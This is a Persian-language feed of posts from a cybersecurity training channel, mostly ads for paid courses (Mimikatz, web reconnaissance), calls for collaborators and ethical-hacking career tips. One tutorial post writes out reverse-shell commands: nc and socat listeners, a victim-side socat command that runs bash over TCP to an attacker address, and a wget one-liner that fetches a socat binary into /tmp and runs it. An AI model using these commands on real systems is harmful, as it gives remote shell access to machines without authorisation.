🐧 راهنمای سریع: 10 دستور لینوکس که هر مدیر سیستم باید بداند

https://lnkd.in/djuyyxNB

#لینوکس
@TryHackBoxOfficial

درود دوستان اگر کسی مایل به ترجمه کتاب بود به پیام بده تا با همکاری یکدیگر کتابهای مفید را ترجمه کنیم :
@ThbxSupport

📌 دوره: راهنمای جامع ابزار Mimikatz

💢 توضیحات دوره: Mimikatz بدون شک یکی از مهم‌ ترین و موثرترین ابزارهایی است که در دنیای امنیت سایبری و عملیات تیم قرمز مورد استفاده قرار می‌ گیرد.این ابزار توسط برنامه‌ نویس فرانسوی Benjamin Delpy ایجاد شد.او در ابتدا Mimikatz را برای یادگیری عمیق‌ تر زبان C و درک بهتر مکانیزم‌ های امنیتی ویندوز توسعه داد.

این ابزار با بهره‌ برداری هوشمند از ضعف‌ های موجود در معماری ویندوز،مجموعه‌ای از حملات مهم و پرکاربرد را به صورت یکپارچه و آماده ارائه می‌ دهد. Mimikatz کار را برای متخصصان بسیار آسان‌ تر کرده است؛به شکلی که بدون نیاز به دانش بسیار تخصصی از ساختارهای داخلی،می‌ توان از آن برای گسترش دسترسی در شبکه‌ های مبتنی بر ویندوز استفاده کرد.این ابزار همچنان فعالانه به‌ روزرسانی می‌شود و تکنیک‌ های جدید به آن اضافه می‌ گردد.

📌 توضیحات کامل

◽مدرس : مهندس سجاد تیموری
◽مدت زمان دوره : ۵ ساعت ۲۰ دقیقه
◻ دوره : آفلاین
⭕ دوره دارای گروه پشتیبانی می باشد.

💰 قیمت :     ۲,۰۰۰,۰۰۰  تومان
💰 با تخفیف ویژه : ۱,۲۵۰,۰۰۰ تومان

📌 جهت خرید،به ایدی زیر پیام دهید:
@ThbxSupport
Group
@TryHackBox

فراخوان همکاری داوطلبانه – متخصص امنیت وب (Web Security)

در حال توسعه یک پلتفرم آموزشی امنیت سایبری هستیم و در بخش احراز هویت (Authentication) با یک چالش و باگ امنیتی مواجه شده‌ایم که نیاز به بررسی، تحلیل و طراحی یک راهکار اصولی دارد.
به همین منظور، از یک متخصص امنیت وب یا تستر نفوذ وب که علاقه‌مند به همکاری در یک پروژه آموزشی و متن‌باز است، دعوت می‌کنیم به‌صورت داوطلبانه در کنار تیم توسعه حضور داشته باشد تا این بخش را بررسی، ایمن‌سازی و نهایی کنیم.

مهارت‌های موردنیاز

آشنایی با امنیت احراز هویت (Authentication) و مدیریت نشست (Session Management)

تسلط بر استانداردهای OWASP و آسیب‌پذیری‌های رایج وب

تجربه در تست نفوذ وب و تحلیل باگ‌های امنیتی

آشنایی با طراحی مکانیزم‌های امن ورود، ثبت‌نام و مدیریت کاربران

مزایای همکاری

حضور به‌عنوان عضو تیم توسعه پروژه

ثبت سابقه همکاری و معرفی در بخش همکاران پروژه (پس از انتشار)

دریافت گواهی همکاری پس از مشارکت مؤثر

امکان شبکه‌سازی و همکاری با متخصصان امنیت سایبری

تخفیف ویژه برای خرید دوره‌های آموزشی

تخفیف ویژه برای خرید کتاب‌های تخصصی

امکان دریافت دوره‌های آموزشی یا کتاب‌های منتخب به‌صورت رایگان (بر اساس میزان مشارکت و همکاری)

اولویت همکاری در پروژه‌های آینده و فرصت‌های تجاری احتمالی

این همکاری در حال حاضر داوطلبانه است و هدف آن ساخت یک پلتفرم آموزشی ارزشمند برای جامعه امنیت سایبری است. اعضای اولیه تیم نقش مهمی در شکل‌ گیری آینده این پروژه خواهند داشت و از مزایای ویژه همکاری‌های بعدی نیز بهره‌مند خواهند شد.

در صورت علاقه به همکاری، لطفاً از طریق پیام خصوصی با ما در ارتباط باشید.
@thbxsupport

10 مهارتی که هر هکر اخلاقی باید در آن مهارت داشته باشد

هک اخلاقی بسیار فراتر از استفاده از ابزارها یا exploiting از آسیب‌پذیری ‌ها است. بهترین متخصصان تیم قرمز، قبل از تخصص در یک زمینه خاص، یک پایه قوی در چندین حوزه فنی ایجاد می ‌کنند.

در اینجا 10 مهارت اصلی وجود دارد که هر فرد علاقه‌مند به فعالیت در تیم قرمز باید بر روی آن تمرکز کند:

🔴 شبکه‌
🔴 اصول اولیه لینوکس
🔴 امنیت برنامه‌ های وب
🔴 روش‌ شناسی تست نفوذ
🔴 برنامه ‌نویسی و اسکریپت‌ نویسی (پایتون، پاورشل، بش)
🔴 امنیت پایگاه داده
🔴 امنیت بی‌ سیم
🔴 امنیت موبایل
🔴 اطلاعات جمع ‌آوری شده از منابع باز (OSINT)
🔴 مهندسی اجتماعی

تسلط بر این اصول اساسی به شما کمک می‌کند تا درک کنید که مهاجمان چگونه فکر می‌کنند، مهارت‌های امنیتی تهاجمی خود را بهبود بخشید و در نهایت، یک مدافع بهتر شوید.

#RedTeam #رد_تیم #تیم_قرمز
@TryHackBox
@TryHackBoxOfficial
@RadioZeroPod
@AiTHB

Sans RoadMap

@TryHackBoxOfficial

🔥 سری Bash برای باگ هانترها

قسمت ۲ 
دیگه مستقیم nc استفاده نکن و با commandهای زیر امتحان کن: 

rlwrap -cAr nc -lvnp <port>  
یا  
rlwrap -f. -r nc -lnvp <port>

حالا میتونی از arrow keys برای navigation history command استفاده کنی، اما هنوز full keyboard functionality نداری (مثل nano، CTRL shortcuts).

برای full interactive keyboard controls، از socat interactive shell استفاده کن:

در سمت attacker: 

socat file:tty,raw,echo=0 tcp-listen:<port>  

اگر error داد، امتحان کن: 

socat file:$(tty),raw,echo=0 tcp-listen:<port>

در سمت victim (برای full TTY reverse shell): 

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ip>:<port>

اگر socat روی victim machine نصب نیست، از این one-liner برای دانلود static binary استفاده کن: 

wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ip>:<port>

برای stop کردن socat: 

ps aux | grep socat  
Kill -9 socat <PID>

نکته: <port> رو با پورت دلخواهت جایگزین کن، <attacker_ip> رو با IP خودت، و <PID> رو با process ID.

کدوم command رو اول در listenerت تست میکنی یا منتظر قسمت بعدی هستی؟

@TryHackBox
#باگ_بانتی

دوستان بخاطر شرایط ناپایدار مجبورا و ناخواسته مجبور شدیم یک کانال توی بله بالا بیاریم ، برای اینکه از آموزش و خرید کتابهای جدید جا نمونید اگه این بله دارید ما را دنبال کنید فعلا فعالیت همینجاست ولی از جایی که شرایط کشور معلوم نیست چی به چیه احتمال قطعی اینترنت هست .

کانال ما در بله

https://ble.ir/TryHackBox

📌 دعوت به همکاری برای تدریس مینی دوره Network Reconnaissance
مجموعه TryHackBox برای تولید و انتشار مینی دوره تخصصی Network Reconnaissance & Service Enumeration از متخصصان و فعالان حوزه امنیت شبکه و تست نفوذ دعوت به همکاری میکند.

هدف این مینی دوره، آموزش عملی شناسایی زیرساخت شبکه، کشف هاست های فعال، اسکن پورت‌ ها، شناسایی سرویس‌ ها و استخراج اطلاعات فنی از سرویس‌ های شبکه در محیط آزمایشگاهی است.

➖ مدت دوره: ۸ ساعت

📌 سرفصل ها دوره در فایل موجود است .

⭕ متخصصانی که در این حوزه تجربه عملی و توانایی تولید محتوای آموزشی دارند، می‌توانند برای اعلام آمادگی همکاری و دریافت جزئیات بیشتر با ما در ارتباط باشند .

جهت جزئیات بیشتر پیام دهید :

@ThbxSupport

📖 نقشه راه شروع باگ بانتی برای مبتدیان

اگر می‌خواهید باگ ‌بانتی را از پایه شروع کنید، صرفاً یادگیری ابزارها کافی نیست.
در این نقشه راه، مسیر پیشنهادی از پایه‌های فنی و منابع یادگیری تا تمرین، پلتفرم‌های Bug Bounty، نوشتن گزارش و نکات مهم شروع این مسیر را مرور کرده‌ایم.

برای مشاهده به لینکدین مراجعه کنید :
https://lnkd.in/p/dtB9MXg5

اگر بعد از این نقشه راه دنبال یک منبع عملی‌تر برای شروع هستید، کتاب «شکار عملی باگ بانتی» THB هم می‌تواند نقطه شروع مناسبی باشد.

📩 @THBxSupport

🆔 @TryHackBox
🆔 @TryHackBoxOfficial > RoadMap
🆔 @AiTHB > Ai Security
🆔 @RadioZeroPod > Podcast

📌 THB-WR201 | Web Reconnaissance & Attack Surface Discovery

قبل از شروع تست نفوذ وب، باید بدانید دقیقاً با چه زیرساختی روبه‌رو هستید و سطح حمله تارگت از چه بخش‌هایی تشکیل شده است.
در این دوره، فرآیند شناسایی و جمع‌آوری اطلاعات از زیرساخت وب را به‌صورت عملی و سناریومحور یاد می‌گیرید؛ از کشف دامنه‌ها و Subdomainها تا شناسایی تکنولوژی‌ها، Endpointها و Assetهای پنهان.


⏳ مدت دوره: ۸ساعت

💰 قیمت : ۱,۶۹۰,۰۰۰ تومان
🔥 ثبت ‌نام برای ۳ نفر اول : ۱,۳۹۰,۰۰۰ تومان

💢 دوره شامل ۲ ساعت لایو آموزشی هم می باشد.

📍 کلاس : آنلاین

🗓 تاریخ شروع کلاس : پنجشنبه 1405/08/28
🗓 روزها : یکشنبه ، سه شنبه ، پنجشنبه

⏰ ساعت کلاس ها : 20:00
▫️ پشتیبانی : دارد

💢 دانشجویان که به هر دلیل نتونند کلاس شرکت کنند ویدئوی جلسه ای که حضور نداشتند در اختیارشون قرار میگیرد

📄  مشاهده سرفصل ها

👨‍🏫 مدرس : محمد طاهری
👤 لینکدین مدرس

📌 جهت ثبت نام ،به ایدی زیر پیام دهید:

@ThbxSupport

@TryHackBox